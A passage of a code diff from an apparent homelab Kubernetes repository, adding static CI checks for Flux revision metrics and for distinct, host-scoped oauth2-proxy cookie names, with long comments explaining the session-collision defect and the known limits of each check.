+    printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
+    rm -f "${tgz}" "${b64}"
+    exit 0
+  )
+  exit "${rc}"
+}
+
+# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
+# emits a second envelope into its child's tee'd log.
+if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
+  trap 'conf_emit_artifacts_tgz "$?"' EXIT
+fi
+
 # --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
 gen_coverage() {
   # Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no

conformance/tests/l0-static/alert-metrics-have-scrape-targets/check.sh

@@ -237,6 +237,31 @@ SCRAPE_OWNERS: list[dict] = [
                "backed up (VeleroScheduleNeverBackedUp / SchedulePaused / NoVolumeDataBackup); "
                "Velero itself publishes nothing until a backup is attempted",
     },
+    {
+        "owner": "kube-prometheus-stack: kube-state-metrics custom-resource-state for Flux revisions",
+        "prefixes": ("kube_flux_",),
+        "file": KPS,
+        "require": [
+            r"customResourceState:\s*\n\s*enabled:\s*true",
+            r"metricNamePrefix:\s*kube_flux_kustomization",
+            r"metricNamePrefix:\s*kube_flux_gitrepository",
+            # The RBAC is MANDATORY, not cosmetic — the same measured failure mode as velero.io
+            # above: without read access to these two API groups KSM publishes the
+            # custom-resource-state metrics as an EMPTY SET and logs a forbidden error, which would
+            # leave FluxRolloutInProgress/FluxRolloutStuck inert while looking configured.
+            r'apiGroups:\s*\["kustomize\.toolkit\.fluxcd\.io"\]',
+            r'apiGroups:\s*\["source\.toolkit\.fluxcd\.io"\]',
+            # A config-only edit does not restart KSM (the chart sets no checksum annotation over
+            # the ConfigMap), so the pod annotation that forces the roll is part of the claim: drop
+            # it and a future change to the flux collector set ships green and never takes effect.
+            r"homelab\.keithjackson\.dev/crs-config-rollout",
+        ],
+        "forbid": [r"customResourceState:\s*\n\s*enabled:\s*false"],
+        "why": "kube_flux_* is the ONLY revision-carrying signal in the TSDB — gotk_* has no "
+               "revision label anywhere (measured 2026-09-29) and the Flux event stream emits "
+               "ReconciliationSucceeded on every interval tick whether or not anything changed, so "
+               "without these metrics nothing can tell a deploy starting from an idle cluster",
+    },
     {
         "owner": "kube-prometheus-stack: bundled kube-state-metrics",
         "prefixes": ("kube_",),

conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct/chainsaw-test.yaml

@@ -0,0 +1,152 @@
+# =============================================================================
+# L0 STATIC — no two oauth2-proxy instances can share a browser cookie
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# THE DEFECT THIS CLOSES. Every oauth2-proxy on this platform is an INDEPENDENT instance with
+# its OWN `cookie-secret`: five per-app reverse-proxy sidecars (jackett, pihole, qbittorrent,
+# radarr, sonarr), crafty's, and the SHARED forward-auth proxy. Measured on prod 2026-09-30:
+# seven `*-oauth2-proxy` Secrets, SEVEN DISTINCT cookie-secret values — so no instance can
+# decrypt any other's cookie.
+#
+# They were all emitting oauth2-proxy's DEFAULT cookie names (`_oauth2_proxy` and
+# `_oauth2_proxy_csrf`), scoped to `.${BASE_DOMAIN}`. A cookie is keyed by (name, domain, path),
+# so the browser kept ONE pair for ALL of them. Whichever proxy authenticated last OVERWROTE
+# every other's session; the loser logged `No valid authentication in request`, bounced to
+# Keycloak, and — the SSO session still being live — was redirected straight back and overwrote
+# the cookie again. Six live instances, one cookie, mutual eviction.
+#
+# WHY IT IS THE WORST KIND OF BUG. The symptom is "I signed into Keycloak but I'm still not
+# signed in", which points the investigator at Keycloak, where nothing is wrong. It is
+# INTERMITTENT — it only appears once a browser has visited a SECOND gated app, so the obvious
+# single-app reproduction succeeds — and it is SILENT: every Deployment stays Ready, every
+# Kustomization stays Ready, the proxy's own log line names an authentication failure rather
+# than a collision. It went unnoticed across five services for the whole life of the pattern,
+# and was found only as a side effect of investigating something else (2026-09-29, crafty).
+#
+# WHY A COMMIT IS NOT ENOUGH, AND THIS IS A GATE STAGE. The collision is a property of the
+# PATTERN, not of any one app: the next forward-auth service onboarded inherits the defect by
+# doing nothing at all, because a missing flag IS the bug. Nothing about its absence is loud.
+# This is the same shape as the twelve inert ServiceMonitors in this tree — one omission,
+# copied, invisible for weeks — and the same remedy: make the omission fail the merge.
+#
+# GIVEN every oauth2-proxy instance this repo authors — a container in any manifest (the
+#       rendered sidecars in apps/, crafty's hand-authored one in platform/) and the shared
+#       proxy's HelmRelease values,
+# WHEN  each instance's EFFECTIVE cookie name is resolved (its declared `--cookie-name` /
+#       `OAUTH2_PROXY_COOKIE_NAME`, or oauth2-proxy's built-in default `_oauth2_proxy` when it
+#       declares none — an omission is a NAME, not an absence, and that is the whole bug),
+# THEN  (1) no two instances share an effective cookie name;
+#       (2) no instance's effective name is another's name + `_csrf` — oauth2-proxy derives the
+#           CSRF cookie that way, so `_oauth2_proxy` and `_oauth2_proxy_csrf` as two SESSION
+#           names would collide on the second cookie while looking distinct on the first;
+#       (3) the DEFAULT name has exactly ONE owner and it is the instance declared in
+#           SHARED_DEFAULT_COOKIE_OWNER. This is the deliberate ASYMMETRY. The shared
+#           forward-auth proxy MUST keep `_oauth2_proxy`: it is the single session every
+#           OTHER forward-auth-gated surface on the platform rides on, so renaming it signs
+#           every one of them out at once. The rule is therefore NOT "every instance must
+#           declare a name" — it is "the default is a NAME LIKE ANY OTHER, held by exactly one
+#           REGISTERED owner". That formulation needs no exemption from (1), and it closes the
+#           hole an exemption would leave: if the shared proxy is ever removed, an app silently
+#           inheriting the default would still FAIL here instead of quietly becoming its heir;
+#       (4) every instance that is NOT that owner is HOST-SCOPED: its `--cookie-domain` equals
+#           the host of its own `--redirect-url`. See the argument below;
+#       (5) catalog/render.py DERIVES both flags from the ServiceDefinition (the service name
+#           and the route host) and does not carry a per-service table. A list is how twelve
+#           ServiceMonitors acquired one identical wrong port name in a single edit, and a list
+#           leaves the NEXT app defaulting into the collision;
+#       (6) the SHIPPED renderer is proven END-TO-END on synthetic ServiceDefinitions, run as a
+#           subprocess: two forward-auth fixtures must yield two different, non-default cookie
+#           names, each scoped to its own host. Without this, once the tree is compliant (1)-(4)
+#           are satisfied by a tree with nothing left to catch, and a guard whose only evidence
+#           is "nothing failed" cannot be told apart from one that stopped working;
+#   AND (7) the check is LOAD-BEARING: this Test DECLARES `conformance.home.k3s/scope:
+#           whole-repo`, so ci/l0.sh Stage 3b's `--include-scope whole-repo` unions it into
+#           EVERY gate run, and ci/gate.sh blocks the merge when the l0 stage fails. It
+#           deliberately adds NO stage to ci/l0.sh — tests/l0-static/whole-repo-invariants-wired
+#           fails the gate if anyone adds one.
+#
+# WHY SCOPE, NOT REQUIREMENTS: ci/touched-requirements.sh maps `apps/*` to R-IDP-02/R-IDP-06
+# today, but the instances live in THREE unrelated subtrees (apps/, platform/crafty/,
+# platform/oauth2-proxy/) and the file most likely to reintroduce the defect is
+# catalog/render.py, which maps to R-GITOPS-02 and to no identity requirement at all. A
+# requirement-scoped selection would filter this check out of exactly the change that breaks it.
+#
+# ON ASSERTION (4), HOST-SCOPED COOKIE-DOMAIN — the argument, and the decision.
+#   AGAINST asserting it (overreach): distinct NAMES already close the eviction bug completely.
+#   Two cookies with different names do not overwrite each other however wide their domains are,
+#   so (4) fixes nothing that (1) has not already fixed. `--cookie-domain` is also a legitimate
+#   knob — a future proxy fronting two hostnames of one app would need a wider value — and a
+#   check that fails correct configurations is a check someone eventually disables.
+#   FOR asserting it (and this wins): a zone-wide cookie is TRANSMITTED BY THE BROWSER TO EVERY
+#   HOST IN THE ZONE. qBittorrent's session token is therefore sent to pihole, to radarr, to
+#   sonarr, and to every other name under `.${BASE_DOMAIN}` — including hosts behind no proxy at
+#   all. That is a session-credential disclosure across trust boundaries that no one needs and
+#   nobody asked for; the sidecar's session is only ever meaningful to the one app it fronts.
+#   And it is what makes a FUTURE name collision catastrophic rather than contained: with
+#   host-scoped cookies, two instances that accidentally share a name cannot even see each
+#   other's cookie, so the failure this whole test exists to prevent degrades from platform-wide
+#   to nothing. Defence in depth on the exact axis that already failed once.
+#   DECISION: assert it, for every instance except the registered shared proxy — whose whole
+#   job IS cross-host forward-auth, and which is exempted by name and with a reason, not by
+#   loosening the rule. `--whitelist-domain` is deliberately NOT touched: it governs permitted
+#   post-login REDIRECT targets, not cookie scope, and narrowing it breaks the sign-in bounce.
+#
+# STATUS: EXECUTABLE. `check.sh` is an offline assertion script (PyYAML, as catalog/render.py
+# and the sibling l0-static checks use); conformance/run.sh --layer l0 and ci/l0.sh run it
+# directly, and this Chainsaw Test wraps the SAME script.
+#
+# NOT proven (honest gaps; this is STATIC, with no cluster and no browser):
+#   - That anyone can actually sign in. No browser round-trip is performed, and none can be
+#     from L0. The 2026-09-29 crafty entry recorded the same gap and it is still open: the
+#     symptom has never been REPRODUCED in a browser, so this is a latent-bug fix reasoned from
+#     measured configuration, not a fix watched to work.
+#   - That the LIVE pods carry what the tree says. git is not the cluster (CLAUDE.md §2b). The
+#     live flags were measured separately, once, by hand; nothing here re-measures them, and a
+#     hand-applied drift would not be visible to this check.
+#   - That the cookie-secrets really differ. That is a Secret comparison and belongs in-cluster;
+#     it was measured out of band (seven distinct values, compared without printing any of
+#     them). If they were ever made IDENTICAL the collision would become harmless — but sharing
+#     one session-encryption key across trust zones is a worse idea than the bug it would mask,
+#     so this check does not offer it as an alternative and does not look for it.
+#   - Anything about the CONTENT of a session, group authorization, or the CSRF cookie's own
+#     behaviour. Names and domains only.
+#   - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06).
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: oauth2-proxy-cookie-names-distinct
+  labels:
+    conformance.home.k3s/R-IDP-02: "true"
+    conformance.home.k3s/R-IDP-06: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-IDP-02, R-IDP-06"
+    conformance.home.k3s/layer: "L0"
+    # WHOLE-REPO SCOPE — the instances span apps/wave-0, apps/wave-1, platform/crafty and
+    # platform/oauth2-proxy, and the generator that emits five of them is catalog/render.py.
+    # No single requirement path-maps to that set, and the renderer maps to no identity
+    # requirement at all, so a requirement-scoped selection would skip this check on precisely
+    # the change that can reintroduce the defect fleet-wide in one edit.
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "false"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      No two oauth2-proxy instances can share a browser cookie: every instance's effective
+      cookie name is unique, the built-in default belongs to exactly one registered owner (the
+      shared forward-auth proxy, which cannot be renamed without signing every gated app out),
+      every other instance is host-scoped, and catalog/render.py derives both flags from the
+      ServiceDefinition rather than from a per-service list — proven end-to-end on synthetic
+      fixtures so the guard stays falsifiable once the tree is clean.
+spec:
+  steps:
+    - name: assert-no-two-oauth2-proxy-instances-share-a-cookie
+      description: >-
+        Inventory every oauth2-proxy container and HelmRelease in the tree, resolve each one's
+        effective cookie name (declared, or oauth2-proxy's default when omitted), assert
+        pairwise distinctness including the session/CSRF derivation, ratchet the single
+        registered owner of the default name, assert host-scoped cookie-domain on every other
+        instance, assert catalog/render.py derives rather than lists, and prove the shipped
+        renderer on two synthetic forward-auth ServiceDefinitions.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct/check.sh

@@ -0,0 +1,498 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 STATIC CHECK — no two oauth2-proxy instances can share a browser cookie.
+# See chainsaw-test.yaml's header for WHY this exists, what it measured, and the argument
+# for assertion (4). In one paragraph:
+#
+# Every oauth2-proxy here holds its OWN cookie-secret (seven distinct values on prod,
+# 2026-09-30), so two instances sharing a cookie NAME on a shared DOMAIN cannot read each
+# other's session — they OVERWRITE it. The loser bounces to Keycloak, is redirected straight
+# back by the live SSO session, and overwrites the winner in turn. The symptom is "I signed
+# into Keycloak but I'm still not signed in", it only shows up after a second gated app is
+# visited, and nothing in the cluster reports an error. A missing --cookie-name IS the bug,
+# so the next forward-auth app inherits it by doing nothing.
+#
+# Exit 0 = all assertions pass. Exit 1 = a failure. Exit 3 (honest SKIP, which the runner
+# turns into rc 3 = UNWIRED, never green, because this test declares the whole-repo scope)
+# only if the tree contains no oauth2-proxy instance at all — genuinely nothing to audit.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+PYTHON="${PYTHON:-python3}"
+
+# Honest SKIP (never green for a scope-declaring test) if there is nothing to audit at all.
+# Matches the IMAGE every instance runs and the CHART the shared one installs; if NEITHER
+# appears anywhere, the forward-auth pattern has left this repo and the check has no subject.
+#
+# ANCHORED ON `image:` DELIBERATELY. A bare `oauth2-proxy/oauth2-proxy:` also matches
+# platform/oauth2-proxy/forward-auth-cec.yaml's Envoy cluster reference
+# (`serviceName: oauth2-proxy/oauth2-proxy:80` — namespace/service:port, not a registry path).
+# That file configures the ext_authz listener that CALLS the proxy; it runs no proxy and holds
+# no cookie flags, so counting it made the grep/parse cross-check below report a phantom
+# unaudited instance.
+if ! grep -rlE 'image:[[:space:]]*[^[:space:]]*oauth2-proxy|chart:[[:space:]]*oauth2-proxy' \
+       "${ROOT}/apps" "${ROOT}/platform" "${ROOT}/catalog" >/dev/null 2>&1; then
+  echo "check SKIPPED: no oauth2-proxy image or chart found under apps/, platform/ or catalog/ — nothing to audit" >&2
+  exit 3
+fi
+
+cd "${ROOT}"
+"${PYTHON}" - "${ROOT}" <<'PY'
+"""Static audit: no two oauth2-proxy instances can share a browser cookie.
+
+PyYAML (the same dependency as catalog/render.py and the sibling l0-static checks) rather
+than line-based parsing: a container's args live in a nested structure and a HelmRelease's
+flags live in a values map, and a line-based reader of either is precisely the approximate
+parser that silently stops matching — the failure class this check exists to prevent.
+"""
+from __future__ import annotations
+
+import re
+import subprocess
+import sys
+import tempfile
+from pathlib import Path
+
+try:
+    import yaml
+except ImportError:                                  # pragma: no cover
+    print("check FAIL: PyYAML is required (same dependency as catalog/render.py)",
+          file=sys.stderr)
+    raise SystemExit(1)
+
+ROOT = Path(sys.argv[1])
+sys.dont_write_bytecode = True          # keep __pycache__ out of the tracked tree
+
+FAILURES: list[str] = []
+CHECKS = 0
+
+
+def check(cond, msg):
+    global CHECKS
+    CHECKS += 1
+    if not cond:
+        FAILURES.append(msg)
+
+
+def read(p: Path) -> str:
+    try:
+        return p.read_text()
+    except (OSError, UnicodeDecodeError):
+        return ""
+
+
+# oauth2-proxy's OWN built-in defaults (pkg/apis/options/cookie.go): the session cookie is
+# `_oauth2_proxy` and the CSRF cookie is that name with `_csrf` appended. An instance that
+# declares nothing is NOT unconfigured — it has claimed this exact name, which is why the
+# inventory below treats the default as a name like any other rather than as an absence.
+DEFAULT_COOKIE_NAME = "_oauth2_proxy"
+CSRF_SUFFIX = "_csrf"
+
+# =============================================================================================
+# REGISTER — SHARED_DEFAULT_COOKIE_OWNER. Exactly one entry, and it must match a real instance.
+#
+# The one instance permitted to hold DEFAULT_COOKIE_NAME, and the one permitted a zone-wide
+# cookie-domain. Both exemptions belong to the SAME object for the SAME reason, so they are one
+# register rather than two: the shared forward-auth proxy is not a per-app sidecar, it is the
+# single session that every forward-auth-gated surface on the platform rides on. Renaming its
+# cookie signs all of them out simultaneously, and host-scoping it would break the cross-host
+# forward-auth that is its entire job.
+#
+# Shrink-only, and exact in BOTH directions: an entry that matches no instance FAILS as stale
+# (the proxy was renamed or removed and the exemption is now a hole), and an instance holding
+# the default WITHOUT an entry FAILS as an unregistered heir. Adding an entry is a review event
+# on a sensitive path.
+#
+# Keyed by "<relpath>:<instance id>".
+# =============================================================================================
+SHARED_DEFAULT_COOKIE_OWNER: dict[str, str] = {
+    "platform/oauth2-proxy/helmrelease.yaml:oauth2-proxy":
+        "The SHARED forward-auth proxy (ADR-0014, platform/oauth2-proxy/README.md). It is the "
+        "single authenticator behind every forward-auth-gated surface that is NOT fronted by "
+        "its own sidecar, so its cookie is the platform session: renaming it signs every one "
+        "of them out at once, and that is why the 2026-09-29 crafty fix changed only the "
+        "sidecar side. Its cookie-domain is zone-wide for the same structural reason — "
+        "cross-host forward-auth is what it is for.",
+}
+
+
+def is_test_fixture(p: Path) -> bool:
+    """conformance/tests/**/{golden,fixtures}/** is assertion DATA, not deployed manifests.
+
+    Auditing a golden would be auditing a copy of something already audited through apps/.
+    Same exclusion the sibling l0-static checks make, and the same "reference, not
+    declaration" distinction ci/touched-requirements.sh draws for fixture paths.
+    """
+    parts = p.parts
+    return "conformance" in parts and ("golden" in parts or "fixtures" in parts)
+
+
+def iter_containers(node):
+    """Yield every container mapping under any `containers`/`initContainers` list, at any depth.
+
+    Depth-agnostic on purpose: a sidecar sits under spec.template.spec.containers in a
+    Deployment, but the same container shape appears under a CronJob's jobTemplate, a
+    DaemonSet, or a Pod, and a reader that hardcoded one path would silently stop seeing an
+    instance the day one moved.
+    """
+    if isinstance(node, dict):
+        for key, val in node.items():
+            if key in ("containers", "initContainers") and isinstance(val, list):
+                for c in val:
+                    if isinstance(c, dict):
+                        yield c
+            else:
+                yield from iter_containers(val)
+    elif isinstance(node, list):
+        for item in node:
+            yield from iter_containers(item)
+
+
+def flag_from_args(args: list, flag: str):
+    """Value of `--flag=value` or `--flag value` in an argv list, else None."""
+    pref = "--" + flag
+    for i, a in enumerate(args):
+        if not isinstance(a, str):
+            continue
+        if a.startswith(pref + "="):
+            return a.split("=", 1)[1]
+        if a == pref and i + 1 < len(args) and isinstance(args[i + 1], str):
+            return args[i + 1]
+    return None
+
+
+def host_of(url):
+    """Host part of an https://host/path URL, else None."""
+    if not isinstance(url, str):
+        return None
+    m = re.match(r"^https?://([^/]+)", url)
+    return m.group(1) if m else None
+
+
+# ============================================================ (0) INVENTORY
+# instances: list of dicts {rel, ident, kind, declared_name, cookie_domain, redirect_host}
+instances: list[dict] = []
+unparseable: list[str] = []
+# Files the grep gate says contain an instance, so the parse can be cross-checked against it.
+grep_files: set[str] = set()
+
+for p in sorted(ROOT.rglob("*.yaml")):
+    relparts = p.relative_to(ROOT).parent.parts
+    # NESTED WORKTREES: skip dot-DIRECTORIES (.git, .claude) while still matching dot-FILES
+    # such as .sops.yaml. .claude/worktrees/agent-*/ holds full repo copies for isolated agent
+    # runs, so a bare rglob audited up to 18 duplicates of every file — which both invents
+    # FAILs and, worse, can satisfy a "something declares X" check from a copy rather than from
+    # real source. Same fix as egress-paths-selected-by-rules. .claude/ is gitignored.
+    if any(part.startswith(".") for part in relparts) or is_test_fixture(p) or ".sops." in p.name:
+        continue
+    txt = read(p)
+    if not txt:
+        continue
+    rel = str(p.relative_to(ROOT))
+    # Same anchoring as check.sh's skip gate: `image:` (or a chart name), never a bare path —
+    # see the comment there for the Envoy `serviceName: oauth2-proxy/oauth2-proxy:80` near-miss.
+    if re.search(r"image:\s*\S*oauth2-proxy|chart:\s*oauth2-proxy", txt):
+        grep_files.add(rel)
+    elif "oauth2-proxy" not in txt:
+        continue
+    try:
+        docs = [d for d in yaml.safe_load_all(txt) if isinstance(d, dict)]
+    except yaml.YAMLError as exc:
+        unparseable.append(f"{rel} ({exc})")
+        continue
+    for d in docs:
+        # --- shape 1: a container running the oauth2-proxy image -------------------------
+        for c in iter_containers(d):
+            image = str(c.get("image") or "")
+            name = str(c.get("name") or "")
+            if "oauth2-proxy" not in image and name != "oauth2-proxy":
+                continue
+            args = [a for a in (list(c.get("args") or []) + list(c.get("command") or []))]
+            env = {e.get("name"): e.get("value")
+                   for e in (c.get("env") or []) if isinstance(e, dict) and "value" in e}
+            owner = (d.get("metadata") or {}).get("name") or "?"
+            instances.append({
+                "rel": rel,
+                "ident": f"{owner}/{name or 'oauth2-proxy'}",
+                "kind": "container",
+                "declared_name": flag_from_args(args, "cookie-name")
+                                 or env.get("OAUTH2_PROXY_COOKIE_NAME"),
+                "cookie_domain": flag_from_args(args, "cookie-domain")
+                                 or env.get("OAUTH2_PROXY_COOKIE_DOMAIN"),
+                "redirect_host": host_of(flag_from_args(args, "redirect-url")
+                                         or env.get("OAUTH2_PROXY_REDIRECT_URL")),
+            })
+        # --- shape 2: the shared proxy's HelmRelease values ------------------------------
+        if d.get("kind") != "HelmRelease":
+            continue
+        spec = d.get("spec") or {}
+        chart = (((spec.get("chart") or {}).get("spec") or {}).get("chart") or "")
+        if "oauth2-proxy" not in str(chart):
+            continue
+        values = spec.get("values") or {}
+        extra = values.get("extraArgs") or {}
+        if isinstance(extra, list):          # the chart also accepts a bare argv list
+            extra = {a.lstrip("-").split("=", 1)[0]: a.split("=", 1)[1]
+                     for a in extra if isinstance(a, str) and "=" in a}
+        cfg = values.get("config") or {}
+        get = lambda k: extra.get(k, cfg.get(k))     # noqa: E731 - two-source lookup, used 3x
+        instances.append({
+            "rel": rel,
+            "ident": str((d.get("metadata") or {}).get("name") or "oauth2-proxy"),
+            "kind": "helmrelease",
+            "declared_name": get("cookie-name"),
+            "cookie_domain": get("cookie-domain"),
+            "redirect_host": host_of(get("redirect-url")),
+        })
+
+for u in unparseable:
+    check(False, f"{u} is not parseable YAML — every oauth2-proxy instance in it went unaudited")
+
+for ins in instances:
+    ins["key"] = f"{ins['rel']}:{ins['ident']}"
+    # THE CORE MODELLING DECISION: an omitted --cookie-name is not "unset", it is a CLAIM on
+    # oauth2-proxy's built-in default. Resolving it here is what lets assertion (1) below be a
+    # plain distinctness test with no special case, and it is exactly the step whose absence
+    # made the defect invisible to every reviewer who read these manifests.
+    ins["effective_name"] = ins["declared_name"] or DEFAULT_COOKIE_NAME
+
+# Anti-vacuous. The floor is deliberately low (a real removal should not turn this check red),
+# so the load-bearing guard is the grep/parse CROSS-CHECK beneath it: every file the cheap
+# text scan says holds an instance must yield at least one PARSED instance. A parser that
+# quietly stopped matching would keep the floor and fail this.
+check(len(instances) >= 5,
+      f"only {len(instances)} oauth2-proxy instance(s) parsed out of the tree. This repo "
+      f"authors more than that (five rendered sidecars, crafty's, and the shared proxy), so "
+      f"the inventory has stopped seeing instances and every assertion below would pass "
+      f"vacuously while a collision went unaudited")
+
+parsed_files = {ins["rel"] for ins in instances}
+for rel in sorted(grep_files - parsed_files):
+    check(False,
+          f"{rel} contains an oauth2-proxy image or chart reference but NO instance was parsed "
+          f"out of it. Either it uses a shape iter_containers()/the HelmRelease reader does not "
+          f"recognise, or the file stopped parsing. Its cookie configuration is UNAUDITED, which "
+          f"is the same state the whole fleet was in before this check existed")
+
+# ============================================================ (1) DISTINCT EFFECTIVE NAMES
+by_name: dict[str, list[dict]] = {}
+for ins in instances:
+    by_name.setdefault(ins["effective_name"], []).append(ins)
+
+for nm, group in sorted(by_name.items()):
+    if len(group) < 2:
+        continue
+    who = ", ".join(sorted(g["key"] for g in group))
+    default_note = (
+        " Every one of them OMITS --cookie-name, so they are all claiming oauth2-proxy's "
+        "built-in default. Omitting the flag is not neutral: it IS this collision."
+        if nm == DEFAULT_COOKIE_NAME else "")
+    check(False,
+          f"{len(group)} oauth2-proxy instances share the cookie name '{nm}': {who}.{default_note}\n"
+          f"       WHY THIS IS A BUG AND NOT A STYLE RULE: these are INDEPENDENT instances with "
+          f"DIFFERENT cookie-secrets (measured on prod 2026-09-30: seven distinct values), so "
+          f"neither can DECRYPT the other's cookie — it can only OVERWRITE it. A browser keys a "
+          f"cookie by (name, domain, path), so signing into one app destroys the session of every "
+          f"other app sharing that key. The loser logs 'No valid authentication in request', "
+          f"bounces to Keycloak, is redirected straight back because the SSO session is still "
+          f"live, and overwrites the winner in turn. The user sees 'I signed into Keycloak but "
+          f"I'm still not signed in' and goes looking in Keycloak, where nothing is wrong.\n"
+          f"       FIX: give each per-app instance its own --cookie-name. For a service rendered "
+          f"from catalog/, do NOT hand-edit the golden — catalog/render.py derives the flag from "
+          f"the service name; re-render instead (ci/render-golden.sh's header has the canonical "
+          f"command). Exactly one instance may hold '{DEFAULT_COOKIE_NAME}', and it must be the "
+          f"one registered in SHARED_DEFAULT_COOKIE_OWNER.")
+
+# ============================================================ (2) SESSION vs CSRF DERIVATION
+# oauth2-proxy names the CSRF cookie <cookie-name>_csrf. So a SESSION name that happens to equal
+# another instance's name + "_csrf" collides on the CSRF cookie while assertion (1) sees two
+# perfectly distinct strings. This is the near-miss the obvious fix invites: naming the shared
+# proxy's neighbour `_oauth2_proxy_csrf` reads as "clearly different" and is not.
+effective = {ins["effective_name"] for ins in instances}
+for ins in sorted(instances, key=lambda i: i["key"]):
+    base = ins["effective_name"]
+    if not base.endswith(CSRF_SUFFIX):
+        continue
+    victim = base[: -len(CSRF_SUFFIX)]
+    check(victim not in effective,
+          f"{ins['key']} uses the SESSION cookie name '{base}', which is exactly the CSRF cookie "
+          f"oauth2-proxy derives for the instance named '{victim}' (it appends '{CSRF_SUFFIX}'). "
+          f"The two session names look distinct and the CSRF cookies collide, so sign-in breaks "
+          f"with a state-mismatch instead of a session loss — the same bug wearing a different "
+          f"error message. Pick a name that is not another instance's name + '{CSRF_SUFFIX}'")
+
+# ============================================================ (3) THE DEFAULT HAS ONE OWNER
+default_holders = sorted(ins["key"] for ins in instances
+                         if ins["effective_name"] == DEFAULT_COOKIE_NAME)
+registered = set(SHARED_DEFAULT_COOKIE_OWNER)
+
+for key in sorted(registered - set(ins["key"] for ins in instances)):
+    check(False,
+          f"SHARED_DEFAULT_COOKIE_OWNER registers '{key}', but no such oauth2-proxy instance "
+          f"exists in the tree. The register is SHRINK-ONLY and exact: a stale entry is a "
+          f"standing exemption for an object that is gone, so the next instance to inherit the "
+          f"default name would be silently excused. Remove the entry, or restore the instance")
+
+for key in default_holders:
+    check(key in registered,
+          f"{key} holds oauth2-proxy's DEFAULT cookie name '{DEFAULT_COOKIE_NAME}' but is NOT "
+          f"registered in SHARED_DEFAULT_COOKIE_OWNER. Exactly ONE instance may hold the default, "
+          f"and it is the SHARED forward-auth proxy — whose cookie is the platform-wide session "
+          f"every forward-auth-gated surface rides on, so renaming IT signs them all out at once. "
+          f"Every other instance must declare its own --cookie-name. If this instance really is "
+          f"the new shared proxy, register it here with the reason; if it is a per-app sidecar, "
+          f"give it a unique name")
+
+check(len(default_holders) <= 1,
+      f"{len(default_holders)} instances hold the default cookie name: {', '.join(default_holders)}. "
+      f"The default is a NAME, not an absence — it can have exactly one owner")
+
+# ============================================================ (4) HOST-SCOPED COOKIE DOMAIN
+# See the chainsaw-test header for the argument (distinct names alone already fix the eviction;
+# host-scoping is asserted anyway because a zone-wide cookie is TRANSMITTED to every host in the
+# zone, and because it makes a future name collision contained instead of platform-wide).
+for ins in sorted(instances, key=lambda i: i["key"]):
+    if ins["key"] in registered:
+        continue                          # the shared proxy: zone-wide by design, registered
+    dom, rhost = ins["cookie_domain"], ins["redirect_host"]
+    check(dom is not None,
+          f"{ins['key']} declares no --cookie-domain. oauth2-proxy then scopes the cookie to the "
+          f"request host, which happens to be correct — but it is correct BY ACCIDENT and says "
+          f"nothing to the next reader. Declare it explicitly as this app's own host")
+    if dom is None:
+        continue
+    check(not dom.startswith("."),
+          f"{ins['key']} sets --cookie-domain={dom}. A leading dot makes the cookie ZONE-WIDE: "
+          f"the browser sends this app's session token to every other host under that domain, "
+          f"including hosts behind no proxy at all, and it is what turns any future cookie-name "
+          f"collision into a platform-wide outage instead of a contained one. Scope it to this "
+          f"app's own host. Only the registered shared forward-auth proxy may be zone-wide, "
+          f"because cross-host forward-auth is its job")
+    if rhost:
+        check(dom == rhost,
+              f"{ins['key']} sets --cookie-domain={dom} but its --redirect-url host is {rhost}. "
+              f"The cookie is then set for a domain the sign-in flow never returns to (or for a "
+              f"wider one than this app owns), so the session either does not stick or leaks "
+              f"beyond the app. Both flags describe the SAME app: make them agree")
+
+# ============================================================ (5) THE RENDERER DERIVES
+# Five of these instances are GENERATED. Auditing only the goldens would let someone "fix" the
+# tree by hand and leave the generator emitting the defect for the next service onboarded — and
+# the next re-render would then silently revert the hand fix.
+render_py = ROOT / "catalog" / "render.py"
+check(render_py.is_file(),
+      "catalog/render.py is missing — the generator of five of these instances cannot be audited")
+if render_py.is_file():
+    src = read(render_py)
+    m = re.search(r"def _oauth2_sidecar_container\(.*?\n(?=\n*def |\n*# =)", src, re.S)
+    fn = m.group(0) if m else ""
+    check(bool(fn),
+          "could not locate _oauth2_sidecar_container() in catalog/render.py. It was renamed or "
+          "removed; assertions (5) below cannot run, and the generator is unaudited")
+    if fn:
+        cookie_name_lines = [ln for ln in fn.splitlines() if "--cookie-name" in ln]
+        check(bool(cookie_name_lines),
+              "catalog/render.py's _oauth2_sidecar_container() emits NO --cookie-name at all, so "
+              "every service it renders claims oauth2-proxy's default and collides with every "
+              "other. This is the defect itself, back in the one place that reintroduces it "
+              "fleet-wide in a single edit")
+        check(any("s['name']" in ln or 's["name"]' in ln for ln in cookie_name_lines),
+              "catalog/render.py emits --cookie-name without DERIVING it from the "
+              "ServiceDefinition's own name. A constant collides with every sibling by "
+              "construction; a per-service table leaves the NEXT app onboarded defaulting into "
+              "the collision, which is how twelve ServiceMonitors acquired one identical wrong "
+              "port name in a single edit. Derive it from s['name']")
+        cookie_dom_lines = [ln for ln in fn.splitlines() if "--cookie-domain" in ln]
+        check(any("{host}" in ln for ln in cookie_dom_lines),
+              "catalog/render.py's sidecar --cookie-domain is not derived from the route host. A "
+              "zone-wide literal (`.{ZONE}`) broadcasts every app's session cookie across the "
+              "whole zone — see assertion (4)")
+        check(not any(re.search(r"--cookie-name=_oauth2_proxy_[a-z0-9]", ln) for ln in cookie_name_lines),
+              "catalog/render.py hardcodes a literal service name into --cookie-name. Whatever "
+              "service that is, every OTHER service now renders the same constant and they all "
+              "collide. Derive the name instead")
+
